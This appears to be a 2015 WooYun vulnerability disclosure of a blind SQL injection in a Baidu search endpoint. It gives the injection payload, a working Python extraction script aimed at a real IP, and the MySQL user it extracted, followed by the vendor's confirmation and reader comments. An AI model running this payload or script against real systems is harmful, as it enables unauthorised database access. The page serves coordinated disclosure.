当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0129579

漏洞标题:百度某搜索功能MySQL注射(附验证脚本)

相关厂商:百度

漏洞作者: lijiejie

提交时间:2015-07-27 07:56

修复时间:2015-09-10 11:04

公开时间:2015-09-10 11:04

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-27: 细节已通知厂商并且等待厂商处理中
2015-07-27: 厂商已经确认,细节仅向厂商公开
2015-08-06: 细节向核心白帽子及相关领域专家公开
2015-08-16: 细节向普通白帽子公开
2015-08-26: 细节向实习白帽子公开
2015-09-10: 细节向公众公开

简要描述:

百度某搜索功能MySQL注射(附验证脚本)

详细说明:

注入点(百度企业信息搜索):

Post http://123.125.115.42/icbcrawl/icp/icpInfo.action
icp={"appid":"test","domain":"a%' AND length(user())=35 AND '123'!='123%","name":"","prov_id":12,"website_name":""}


参数icp可以注入。

漏洞证明:

为了防止SQLmap把服务打挂,直接上猜解脚本。
猜解user(),得到:

[Done] MySQL user is crm@cp01rdsfcrm002.cp01.baidu.com


baidu.png


python脚本:

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Googlebot/2.1 (+http://www.googlebot.com/bot.html)',}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 36):
for payload in payloads:
s = 'ascii(mid(user()from(%s)for(1)))=%s' % (i, ord(payload))
s = '''{"appid":"test","domain":"a%' AND ''' + s + ''' AND '123'!='123%","name":"","prov_id":12,"website_name":""}'''
s = 'icp=%s' % urllib.quote(s)
conn = httplib.HTTPConnection('123.125.115.42', timeout=30)
conn.request(method='POST', url='/icbcrawl/icp/icpInfo.action', body=s, headers=headers)
start_time = time.time()
html_doc = conn.getresponse().read()
conn.close()
print '.',
if len(html_doc) > 10:
user += payload
print '\n[in progress]', user,
break

print '\n[Done] MySQL user is %s' % user

修复方案:

参数过滤,转义

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-07-27 11:03

厂商回复:

感谢

最新状态:

暂无


漏洞评价:

评论

  1. 2015-07-27 08:26 | 泪雨无魂 ( 实习白帽子 | Rank:94 漏洞数:21 )

    前排。。。

  2. 2015-07-27 08:56 | 偷笑的猫 ( 实习白帽子 | Rank:32 漏洞数:1 | 我在笑但你看不到)

    花生瓜子

  3. 2015-07-27 09:04 | zhiher ( 路人 | Rank:16 漏洞数:4 | 学习社会工程学...渗透测试...代码审计...w...)

    太牛X。

  4. 2015-07-27 09:05 | kaysen ( 路人 | Rank:8 漏洞数:2 | 折腾Python、Php、Linux)

    碉堡了

  5. 2015-07-27 09:14 | 牛 小 帅 ( 普通白帽子 | Rank:363 漏洞数:75 | [code]心若没有栖息的地方,走到哪里都是在...)

    lijiejie

  6. 2015-07-27 09:26 | 海绵宝宝 ( 普通白帽子 | Rank:243 漏洞数:50 | 唯有梦想与好姑娘不可辜负.)

    唉,我懂你

  7. 2015-07-29 17:51 | 黑翼、 ( 路人 | Rank:26 漏洞数:10 | o(∩_∩)o)

    吓得我都做地上了o(≧v≦)o~

  8. 2015-08-02 13:58 | 老笨蛋 ( 路人 | Rank:29 漏洞数:3 | 老笨蛋一个)

    李姐姐,你还能再淫荡一点么?厂商的裤子都被你扒了一个遍了。

  9. 2015-09-10 11:36 | BeenQuiver ( 普通白帽子 | Rank:101 漏洞数:26 | 专注而高效,坚持好的习惯千万不要放弃)

    扫描器真腻害啊

  10. 2015-09-10 12:20 | 有归于无 ( 实习白帽子 | Rank:84 漏洞数:14 | 有归于无)

    怎么找到这些地址的

  11. 2015-09-10 12:37 | BeenQuiver ( 普通白帽子 | Rank:101 漏洞数:26 | 专注而高效,坚持好的习惯千万不要放弃)

    @有归于无 他自己的扫描器检测出来的,吊吧?